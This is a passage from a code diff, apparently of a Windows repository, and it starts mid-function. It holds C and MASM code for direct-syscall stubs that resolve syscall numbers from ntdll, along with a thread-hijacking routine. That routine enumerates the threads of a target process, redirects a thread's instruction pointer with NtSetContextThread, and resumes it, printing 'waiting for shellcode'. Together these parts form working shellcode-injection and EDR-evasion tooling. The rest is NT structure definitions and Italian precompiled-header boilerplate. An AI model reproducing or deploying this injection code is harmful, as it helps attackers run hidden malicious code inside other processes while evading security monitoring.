DWORD ssn = *(DWORD*)(p + i + 1); // read full 4 byte immediate (little-endian) ssn
|
||||
*NtFunctionSSN = ssn;
|
||||
printf("%s : 0x%08X\n", NtFunctionName, ssn);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
fprintf(stderr, "GetSyscallNumber: mov eax imm32 not found for %s\n", NtFunctionName);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL InitNtFunctions(void) {
|
||||
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
|
||||
if (!ntdll) return FALSE;
|
||||
|
||||
GetSyscallNumber(ntdll, "NtOpenProcess", &h_NtOpenProcessSSN);
|
||||
GetSyscallNumber(ntdll, "NtWriteVirtualMemory", &h_NtWriteVirtualMemorySSN);
|
||||
GetSyscallNumber(ntdll, "NtAllocateVirtualMemory", &h_NtAllocateVirtualMemorySSN);
|
||||
GetSyscallNumber(ntdll, "NtProtectVirtualMemory", &h_NtProtectVirtualMemorySSN);
|
||||
GetSyscallNumber(ntdll, "NtCreateThreadEx", &h_NtCreateThreadExSSN);
|
||||
GetSyscallNumber(ntdll, "NtWaitForSingleObject", &h_NtWaitForSingleObjectSSN);
|
||||
GetSyscallNumber(ntdll, "NtFreeVirtualMemory", &h_NtFreeVirtualMemorySSN);
|
||||
GetSyscallNumber(ntdll, "NtClose", &h_NtCloseSSN);
|
||||
GetSyscallNumber(ntdll, "NtCreateThread", &h_NtCreateThreadSSN);
|
||||
GetSyscallNumber(ntdll, "NtSuspendThread", &h_NtSuspendThreadSSN);
|
||||
GetSyscallNumber(ntdll, "NtQuerySystemInformation", &h_NtQuerySystemInformationSSN);
|
||||
GetSyscallNumber(ntdll, "NtResumeThread", &h_NtResumeThreadSSN);
|
||||
GetSyscallNumber(ntdll, "NtGetContextThread", &h_NtGetContextThreadSSN);
|
||||
GetSyscallNumber(ntdll, "NtSetContextThread", &h_NtSetContextThreadSSN);
|
||||
GetSyscallNumber(ntdll, "NtOpenThread", &h_NtOpenThreadSSN);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
BOOL GetThreadNative(DWORD pid, DWORD* outTid) {
|
||||
if (!outTid) return FALSE;
|
||||
|
||||
ULONG bufSize = 0x10000;
|
||||
PBYTE buffer = NULL;
|
||||
NTSTATUS status;
|
||||
ULONG retLen = 0;
|
||||
|
||||
for (;;) {
|
||||
buffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, bufSize);
|
||||
if (!buffer) return FALSE;
|
||||
|
||||
status = NtQuerySystemInformation(SystemProcessInformation, buffer, bufSize, &retLen);
|
||||
if (NT_SUCCESS(status)) break;
|
||||
|
||||
HeapFree(GetProcessHeap(), 0, buffer);
|
||||
if (status == STATUS_INFO_LENGTH_MISMATCH) {
|
||||
bufSize *= 2;
|
||||
continue;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PBYTE current = buffer;
|
||||
while (current) {
|
||||
PSYSTEM_PROCESS_INFORMATION spi = (PSYSTEM_PROCESS_INFORMATION)current;
|
||||
if ((DWORD)(ULONG_PTR)spi->UniqueProcessId == pid) {
|
||||
for (ULONG i = 0; i < spi->NumberOfThreads; ++i) {
|
||||
|
||||
PSYSTEM_THREAD_INFORMATION th = &spi->Threads[i];
|
||||
if (th->ClientId.UniqueThread) {
|
||||
*outTid = (DWORD)(ULONG_PTR)th->ClientId.UniqueThread;
|
||||
HeapFree(GetProcessHeap(), 0, buffer);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
// if no threads or no valid ClientId, break
|
||||
break;
|
||||
}
|
||||
if (spi->NextEntryOffset == 0) break;
|
||||
current += spi->NextEntryOffset;
|
||||
}
|
||||
|
||||
HeapFree(GetProcessHeap(), 0, buffer);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
VOID temp(VOID) { printf("temp fun"); return; }
|
||||
|
||||
|
||||
|
||||
BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) {
|
||||
CONTEXT ThreadCtx;
|
||||
RtlZeroMemory(&ThreadCtx, sizeof(ThreadCtx));
|
||||
ThreadCtx.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER;
|
||||
NTSTATUS status = STATUS_SUCCESS;
|
||||
|
||||
|
||||
//PULONG prev = 0;
|
||||
//status = NtSuspendThread(hThread, &prev); // UNCOMMENT this chunk to use 1st version, comment for 2nd
|
||||
//if (!NT_SUCCESS(status)) {
|
||||
// PRINTXD("NtSuspendThread", status);
|
||||
// NtClose(hThread);
|
||||
// return FALSE;
|
||||
//}
|
||||
|
||||
|
||||
status = NtGetContextThread(hThread, &ThreadCtx);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
PRINTXD("NtGetContextThread", status);
|
||||
NtResumeThread(hThread, NULL);
|
||||
NtClose(hThread);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
ThreadCtx.Rip = (DWORD64)pAddress;
|
||||
|
||||
status = NtSetContextThread(hThread, &ThreadCtx);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
PRINTXD("NtSetContextThread", status);
|
||||
NtClose(hThread);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
status = NtResumeThread(hThread, NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
PRINTXD("NtResumeThread", status);
|
||||
NtClose(hThread);
|
||||
return FALSE;
|
||||
}
|
||||
else printf("Thred resumed, waiting for shellcode, ");
|
||||
|
||||
status = NtWaitForSingleObject(hThread, FALSE, NULL);
|
||||
if (STATUS_SUCCESS != status) {
|
||||
PRINTXD("NtWaitForSingleObject", status);
|
||||
NtClose(hThread);
|
||||
return FALSE;
|
||||
}
|
||||
else printf("end. \n \n");
|
||||
NtClose(hThread);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,232 @@
|
||||
#pragma once
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <winbase.h>
|
||||
#define STATUS_SUCCESS (NTSTATUS)0x00000000L
|
||||
#define PRINTXD(FUNCTION_NAME, NTSTATUS_ERROR) \
|
||||
do { \
|
||||
fprintf(stderr, FUNCTION_NAME " line %d, error: 0x%lx\n", __LINE__, NTSTATUS_ERROR); \
|
||||
} while (0)
|
||||
|
||||
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004)
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
|
||||
typedef LONG NTSTATUS;
|
||||
typedef struct _PS_ATTRIBUTE {
|
||||
ULONG Attribute;
|
||||
SIZE_T Size;
|
||||
union
|
||||
{
|
||||
ULONG Value;
|
||||
PVOID ValuePtr;
|
||||
} u1;
|
||||
PSIZE_T ReturnLength;
|
||||
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;
|
||||
typedef struct _UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
|
||||
} UNICODE_STRING, * PUNICODE_STRING;
|
||||
typedef struct _OBJECT_ATTRIBUTES {
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
|
||||
typedef const UNICODE_STRING* PCUNICODE_STRING;
|
||||
typedef const OBJECT_ATTRIBUTES* PCOBJECT_ATTRIBUTES;
|
||||
typedef struct _INITIAL_TEB {
|
||||
struct {
|
||||
PVOID OldStackBase; // Pointer to the base address of the previous stack.
|
||||
PVOID OldStackLimit; // Pointer to the limit address of the previous stack.
|
||||
} OldInitialTeb;
|
||||
PVOID StackBase; // Pointer to the base address of the new stack.
|
||||
PVOID StackLimit; // Pointer to the limit address of the new stack.
|
||||
PVOID StackAllocationBase; // Pointer to the base address where the stack was allocated.
|
||||
} INITIAL_TEB, * PINITIAL_TEB;
|
||||
typedef struct _CLIENT_ID {
|
||||
HANDLE UniqueProcess;
|
||||
HANDLE UniqueThread;
|
||||
} CLIENT_ID, * PCLIENT_ID;
|
||||
typedef struct _PS_ATTRIBUTE_LIST {
|
||||
SIZE_T TotalLength;
|
||||
PS_ATTRIBUTE Attributes[1];
|
||||
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;
|
||||
typedef LONG KPRIORITY, * PKPRIORITY;
|
||||
typedef enum _SYSTEM_INFORMATION_CLASS {
|
||||
SystemProcessInformation = 5
|
||||
} SYSTEM_INFORMATION_CLASS;
|
||||
typedef enum _KWAIT_REASON
|
||||
{
|
||||
Executive, // Waiting for an executive event.
|
||||
FreePage, // Waiting for a free page.
|
||||
PageIn, // Waiting for a page to be read in.
|
||||
PoolAllocation, // Waiting for a pool allocation.
|
||||
DelayExecution, // Waiting due to a delay execution. // NtDelayExecution
|
||||
Suspended, // Waiting because the thread is suspended. // NtSuspendThread
|
||||
UserRequest, // Waiting due to a user request. // NtWaitForSingleObject
|
||||
WrExecutive, // Waiting for an executive event.
|
||||
WrFreePage, // Waiting for a free page.
|
||||
WrPageIn, // Waiting for a page to be read in.
|
||||
WrPoolAllocation, // Waiting for a pool allocation. // 10
|
||||
WrDelayExecution, // Waiting due to a delay execution.
|
||||
WrSuspended, // Waiting because the thread is suspended.
|
||||
WrUserRequest, // Waiting due to a user request.
|
||||
WrEventPair, // Waiting for an event pair. // NtCreateEventPair
|
||||
WrQueue, // Waiting for a queue. // NtRemoveIoCompletion
|
||||
WrLpcReceive, // Waiting for an LPC receive. // NtReplyWaitReceivePort
|
||||
WrLpcReply, // Waiting for an LPC reply. // NtRequestWaitReplyPort
|
||||
WrVirtualMemory, // Waiting for virtual memory.
|
||||
WrPageOut, // Waiting for a page to be written out. // NtFlushVirtualMemory
|
||||
WrRendezvous, // Waiting for a rendezvous. // 20
|
||||
WrKeyedEvent, // Waiting for a keyed event. // NtCreateKeyedEvent
|
||||
WrTerminated, // Waiting for thread termination.
|
||||
WrProcessInSwap, // Waiting for a process to be swapped in.
|
||||
WrCpuRateControl, // Waiting for CPU rate control.
|
||||
WrCalloutStack, // Waiting for a callout stack.
|
||||
WrKernel, // Waiting for a kernel event.
|
||||
WrResource, // Waiting for a resource.
|
||||
WrPushLock, // Waiting for a push lock.
|
||||
WrMutex, // Waiting for a mutex.
|
||||
WrQuantumEnd, // Waiting for the end of a quantum. // 30
|
||||
WrDispatchInt, // Waiting for a dispatch interrupt.
|
||||
WrPreempted, // Waiting because the thread was preempted.
|
||||
WrYieldExecution, // Waiting to yield execution.
|
||||
WrFastMutex, // Waiting for a fast mutex.
|
||||
WrGuardedMutex, // Waiting for a guarded mutex.
|
||||
WrRundown, // Waiting for a rundown.
|
||||
WrAlertByThreadId, // Waiting for an alert by thread ID.
|
||||
WrDeferredPreempt, // Waiting for a deferred preemption.
|
||||
WrPhysicalFault, // Waiting for a physical fault.
|
||||
WrIoRing, // Waiting for an I/O ring. // 40
|
||||
WrMdlCache, // Waiting for an MDL cache.
|
||||
WrRcu, // Waiting for read-copy-update (RCU) synchronization.
|
||||
MaximumWaitReason
|
||||
} KWAIT_REASON, * PKWAIT_REASON;
|
||||
typedef enum _KTHREAD_STATE
|
||||
{
|
||||
Initialized,
|
||||
Ready,
|
||||
Running,
|
||||
Standby,
|
||||
Terminated,
|
||||
Waiting,
|
||||
Transition,
|
||||
DeferredReady,
|
||||
GateWaitObsolete,
|
||||
WaitingForProcessInSwap,
|
||||
MaximumThreadState
|
||||
} KTHREAD_STATE, * PKTHREAD_STATE;
|
||||
typedef struct _SYSTEM_THREAD_INFORMATION
|
||||
{
|
||||
LARGE_INTEGER KernelTime; // Number of 100-nanosecond intervals spent executing kernel code.
|
||||
LARGE_INTEGER UserTime; // Number of 100-nanosecond intervals spent executing user code.
|
||||
LARGE_INTEGER CreateTime; // The date and time when the thread was created.
|
||||
ULONG WaitTime; // The current time spent in ready queue or waiting (depending on the thread state).
|
||||
PVOID StartAddress; // The initial start address of the thread.
|
||||
CLIENT_ID ClientId; // The identifier of the thread and the process owning the thread.
|
||||
KPRIORITY Priority; // The dynamic priority of the thread.
|
||||
KPRIORITY BasePriority; // The starting priority of the thread.
|
||||
ULONG ContextSwitches; // The total number of context switches performed.
|
||||
KTHREAD_STATE ThreadState; // The current state of the thread.
|
||||
KWAIT_REASON WaitReason; // The current reason the thread is waiting.
|
||||
} SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION;
|
||||
typedef struct _SYSTEM_PROCESS_INFORMATION
|
||||
{
|
||||
ULONG NextEntryOffset; // The address of the previous item plus the value in the NextEntryOffset member. For the last item in the array, NextEntryOffset is 0.
|
||||
ULONG NumberOfThreads; // The NumberOfThreads member contains the number of threads in the process.
|
||||
ULONGLONG WorkingSetPrivateSize; // The total private memory that a process currently has allocated and is physically resident in memory. // since VISTA
|
||||
ULONG HardFaultCount; // The total number of hard faults for data from disk rather than from in-memory pages. // since WIN7
|
||||
ULONG NumberOfThreadsHighWatermark; // The peak number of threads that were running at any given point in time, indicative of potential performance bottlenecks related to thread management.
|
||||
ULONGLONG CycleTime; // The sum of the cycle time of all threads in the process.
|
||||
LARGE_INTEGER CreateTime; // Number of 100-nanosecond intervals since the creation time of the process. Not updated during system timezone changes.
|
||||
LARGE_INTEGER UserTime; // Number of 100-nanosecond intervals the process has executed in user mode.
|
||||
LARGE_INTEGER KernelTime; // Number of 100-nanosecond intervals the process has executed in kernel mode.
|
||||
UNICODE_STRING ImageName; // The file name of the executable image.
|
||||
KPRIORITY BasePriority; // The starting priority of the process.
|
||||
HANDLE UniqueProcessId; // The identifier of the process.
|
||||
HANDLE InheritedFromUniqueProcessId; // The identifier of the process that created this process. Not updated and incorrectly refers to processes with recycled identifiers.
|
||||
ULONG HandleCount; // The current number of open handles used by the process.
|
||||
ULONG SessionId; // The identifier of the Remote Desktop Services session under which the specified process is running.
|
||||
ULONG_PTR UniqueProcessKey; // since VISTA (requires SystemExtendedProcessInformation)
|
||||
SIZE_T PeakVirtualSize; // The peak size, in bytes, of the virtual memory used by the process.
|
||||
SIZE_T VirtualSize; // The current size, in bytes, of virtual memory used by the process.
|
||||
ULONG PageFaultCount; // The total number of page faults for data that is not currently in memory. The value wraps around to zero on average 24 hours.
|
||||
SIZE_T PeakWorkingSetSize; // The peak size, in kilobytes, of the working set of the process.
|
||||
SIZE_T WorkingSetSize; // The number of pages visible to the process in physical memory. These pages are resident and available for use without triggering a page fault.
|
||||
SIZE_T QuotaPeakPagedPoolUsage; // The peak quota charged to the process for pool usage, in bytes.
|
||||
SIZE_T QuotaPagedPoolUsage; // The quota charged to the process for paged pool usage, in bytes.
|
||||
SIZE_T QuotaPeakNonPagedPoolUsage; // The peak quota charged to the process for nonpaged pool usage, in bytes.
|
||||
SIZE_T QuotaNonPagedPoolUsage; // The current quota charged to the process for nonpaged pool usage.
|
||||
SIZE_T PagefileUsage; // The total number of bytes of page file storage in use by the process.
|
||||
SIZE_T PeakPagefileUsage; // The maximum number of bytes of page-file storage used by the process.
|
||||
SIZE_T PrivatePageCount; // The number of memory pages allocated for the use by the process.
|
||||
LARGE_INTEGER ReadOperationCount; // The total number of read operations performed.
|
||||
LARGE_INTEGER WriteOperationCount; // The total number of write operations performed.
|
||||
LARGE_INTEGER OtherOperationCount; // The total number of I/O operations performed other than read and write operations.
|
||||
LARGE_INTEGER ReadTransferCount; // The total number of bytes read during a read operation.
|
||||
LARGE_INTEGER WriteTransferCount; // The total number of bytes written during a write operation.
|
||||
LARGE_INTEGER OtherTransferCount; // The total number of bytes transferred during operations other than read and write operations.
|
||||
SYSTEM_THREAD_INFORMATION Threads[1]; // This type is not defined in the structure but was added for convenience.
|
||||
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
|
||||
|
||||
#ifndef InitializeObjectAttributes
|
||||
#define InitializeObjectAttributes( p, n, a, r, s ) { \
|
||||
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
|
||||
(p)->RootDirectory = r; \
|
||||
(p)->Attributes = a; \
|
||||
(p)->ObjectName = n; \
|
||||
(p)->SecurityDescriptor = s; \
|
||||
(p)->SecurityQualityOfService = NULL; \
|
||||
}
|
||||
#endif
|
||||
#ifndef _In_
|
||||
#define _In_
|
||||
#endif
|
||||
#ifndef _Out_opt_
|
||||
#define _Out_opt_
|
||||
#endif
|
||||
#ifndef _Out_writes_bytes_opt_
|
||||
#define _Out_writes_bytes_opt_(x)
|
||||
#endif
|
||||
|
||||
BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress);
|
||||
VOID temp(VOID);
|
||||
VOID GetSyscallNumber(_In_ HMODULE NtdllHandle, _In_ LPCSTR NtFunctionName, _Out_ PDWORD NtFunctionSSN);
|
||||
BOOL GetProcessNative(LPCWSTR processName, DWORD* outPid);
|
||||
BOOL GetThreadNative(DWORD pid, DWORD* outTid);
|
||||
|
||||
DWORD h_NtOpenProcessSSN;
|
||||
DWORD h_NtAllocateVirtualMemorySSN;
|
||||
DWORD h_NtWriteVirtualMemorySSN;
|
||||
DWORD h_NtProtectVirtualMemorySSN;
|
||||
DWORD h_NtCreateThreadSSN;
|
||||
DWORD h_NtCreateThreadExSSN;
|
||||
DWORD h_NtWaitForSingleObjectSSN;
|
||||
DWORD h_NtFreeVirtualMemorySSN;
|
||||
DWORD h_NtCloseSSN;
|
||||
DWORD h_NtSuspendThreadSSN;
|
||||
DWORD h_NtResumeThreadSSN;
|
||||
DWORD h_NtQuerySystemInformationSSN;
|
||||
DWORD h_NtGetContextThreadSSN;
|
||||
DWORD h_NtSetContextThreadSSN;
|
||||
DWORD h_NtOpenThreadSSN;
|
||||
|
||||
extern NTSTATUS NtOpenProcess(OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL);
|
||||
extern NTSTATUS NtAllocateVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect);
|
||||
extern NTSTATUS NtProtectVirtualMemory(_In_ HANDLE ProcessHandle, _Inout_ PVOID* BaseAddress, _Inout_ PSIZE_T RegionSize, _In_ ULONG NewProtect, _Out_ PULONG OldProtect);
|
||||
extern NTSTATUS NtWriteVirtualMemory(IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
|
||||
extern NTSTATUS NtCreateThreadEx(OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, IN PVOID StartRoutine, IN PVOID Argument OPTIONAL, IN ULONG CreateFlags, IN SIZE_T ZeroBits, IN SIZE_T StackSize, IN SIZE_T MaximumStackSize, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
|
||||
extern NTSTATUS NtCreateThread(OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ PCOBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ProcessHandle, _Out_ PCLIENT_ID ClientId, _In_ PCONTEXT ThreadContext, _In_ PINITIAL_TEB InitialTeb, _In_ BOOLEAN CreateSuspended);
|
||||
extern NTSTATUS NtWaitForSingleObject(_In_ HANDLE Handle, _In_ BOOLEAN Alertable, _In_opt_ PLARGE_INTEGER Timeout);
|
||||
extern NTSTATUS NtFreeVirtualMemory(_In_ HANDLE ProcessHandle, _Inout_ PVOID* BaseAddress, _Inout_ PSIZE_T RegionSize, _In_ ULONG FreeType);
|
||||
extern NTSTATUS NtClose(IN HANDLE Handle);
|
||||
extern NTSTATUS NtQuerySystemInformation(_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength);
|
||||
extern NTSTATUS NtSuspendThread(_In_ HANDLE ThreadHandle, _Out_opt_ PULONG PreviousSuspendCount);
|
||||
extern NTSTATUS NtResumeThread(_In_ HANDLE ThreadHandle, _Out_opt_ PULONG PreviousSuspendCount);
|
||||
extern NTSTATUS NtGetContextThread(_In_ HANDLE ThreadHandle, _Inout_ PCONTEXT ThreadContext);
|
||||
extern NTSTATUS NtSetContextThread(_In_ HANDLE ThreadHandle, _In_ PCONTEXT ThreadContext);
|
||||
extern NTSTATUS NtOpenThread(OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL);
|
||||
@@ -0,0 +1,5 @@
|
||||
// pch.cpp: file di origine corrispondente all'intestazione precompilata
|
||||
|
||||
#include "pch.h"
|
||||
|
||||
// Quando si usano intestazioni precompilate, questo file è necessario per la riuscita della compilazione.
|
||||
@@ -0,0 +1,13 @@
|
||||
// pch.h: questo è un file di intestazione precompilata.
|
||||
// I file elencati di seguito vengono compilati una sola volta, in modo da migliorare le prestazioni per le compilazioni successive.
|
||||
// Questa impostazione influisce anche sulle prestazioni di IntelliSense, incluso il completamento codice e molte altre funzionalità di esplorazione del codice.
|
||||
// I file elencati qui vengono però TUTTI ricompilati se uno di essi viene aggiornato da una compilazione all'altra.
|
||||
// Non aggiungere qui file soggetti a frequenti aggiornamenti; in caso contrario si perderanno i vantaggi offerti in termini di prestazioni.
|
||||
|
||||
#ifndef PCH_H
|
||||
#define PCH_H
|
||||
|
||||
// aggiungere qui le intestazioni da precompilare
|
||||
#include "framework.h"
|
||||
|
||||
#endif //PCH_H
|
||||
@@ -0,0 +1,118 @@
|
||||
|
||||
.data
|
||||
extern h_NtOpenProcessSSN:DWORD
|
||||
extern h_NtAllocateVirtualMemorySSN:DWORD
|
||||
extern h_NtWriteVirtualMemorySSN:DWORD
|
||||
extern h_NtProtectVirtualMemorySSN:DWORD
|
||||
extern h_NtCreateThreadExSSN:DWORD
|
||||
extern h_NtWaitForSingleObjectSSN:DWORD
|
||||
extern h_NtFreeVirtualMemorySSN:DWORD
|
||||
extern h_NtCloseSSN:DWORD
|
||||
extern h_NtSuspendThreadSSN:DWORD
|
||||
extern h_NtResumeThreadSSN:DWORD
|
||||
extern h_NtQuerySystemInformationSSN:DWORD
|
||||
extern h_NtGetContextThreadSSN:DWORD
|
||||
extern h_NtSetContextThreadSSN:DWORD
|
||||
extern h_NtOpenThreadSSN:DWORD
|
||||
|
||||
.code
|
||||
NtOpenProcess proc
|
||||
mov r10, rcx
|
||||
mov eax, h_NtOpenProcessSSN
|
||||
syscall
|
||||
ret
|
||||
NtOpenProcess endp
|
||||
|
||||
NtOpenThread proc
|
||||
mov r10, rcx
|
||||
mov eax, h_NtOpenThreadSSN
|
||||
syscall
|
||||
ret
|
||||
NtOpenThread endp
|
||||
|
||||
NtAllocateVirtualMemory proc
|
||||
mov r10, rcx
|
||||
mov eax, h_NtAllocateVirtualMemorySSN
|
||||
syscall
|
||||
ret
|
||||
NtAllocateVirtualMemory endp
|
||||
|
||||
NtWriteVirtualMemory proc
|
||||
mov r10, rcx
|
||||
mov eax, h_NtWriteVirtualMemorySSN
|
||||
syscall
|
||||
ret
|
||||
NtWriteVirtualMemory endp
|
||||
|
||||
NtProtectVirtualMemory proc
|
||||
mov r10, rcx
|
||||
mov eax, h_NtProtectVirtualMemorySSN
|
||||
syscall
|
||||
ret
|
||||
NtProtectVirtualMemory endp
|
||||
|
||||
NtCreateThreadEx proc
|
||||
mov r10, rcx
|
||||
mov eax, h_NtCreateThreadExSSN
|
||||
syscall
|
||||
ret
|
||||
NtCreateThreadEx endp
|
||||
|
||||
|
||||
NtWaitForSingleObject proc
|
||||
mov r10, rcx
|
||||
mov eax, h_NtWaitForSingleObjectSSN
|
||||
syscall
|
||||
ret
|
||||
NtWaitForSingleObject endp
|
||||
|
||||
NtFreeVirtualMemory proc
|
||||
mov r10, rcx
|
||||
mov eax, h_NtFreeVirtualMemorySSN
|
||||
syscall
|
||||
ret
|
||||
NtFreeVirtualMemory endp
|
||||
|
||||
NtClose proc
|
||||
mov r10, rcx
|
||||
mov eax, h_NtCloseSSN
|
||||
syscall
|
||||
ret
|
||||
NtClose endp
|
||||
|
||||
NtQuerySystemInformation proc
|
||||
mov r10, rcx
|
||||
mov eax, h_NtQuerySystemInformationSSN
|
||||
syscall
|
||||
ret
|
||||
NtQuerySystemInformation endp
|
||||
|
||||
NtSetContextThread proc
|
||||
mov r10, rcx
|
||||
mov eax, h_NtSetContextThreadSSN
|
||||
syscall
|
||||
ret
|
||||
NtSetContextThread endp
|
||||
NtGetContextThread proc
|
||||
mov r10, rcx
|
||||
mov eax, h_NtGetContextThreadSSN
|
||||
syscall
|
||||
ret
|
||||
NtGetContextThread endp
|
||||
|
||||
NtSuspendThread proc
|
||||
mov r10, rcx
|
||||
mov eax, h_NtSuspendThreadSSN
|
||||
syscall
|
||||
ret
|
||||
NtSuspendThread endp
|
||||
|
||||
NtResumeThread proc
|
||||
mov r10, rcx
|
||||
mov eax, h_NtResumeThreadSSN
|
||||
syscall
|
||||
ret
|
||||
NtResumeThread endp
|
||||
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user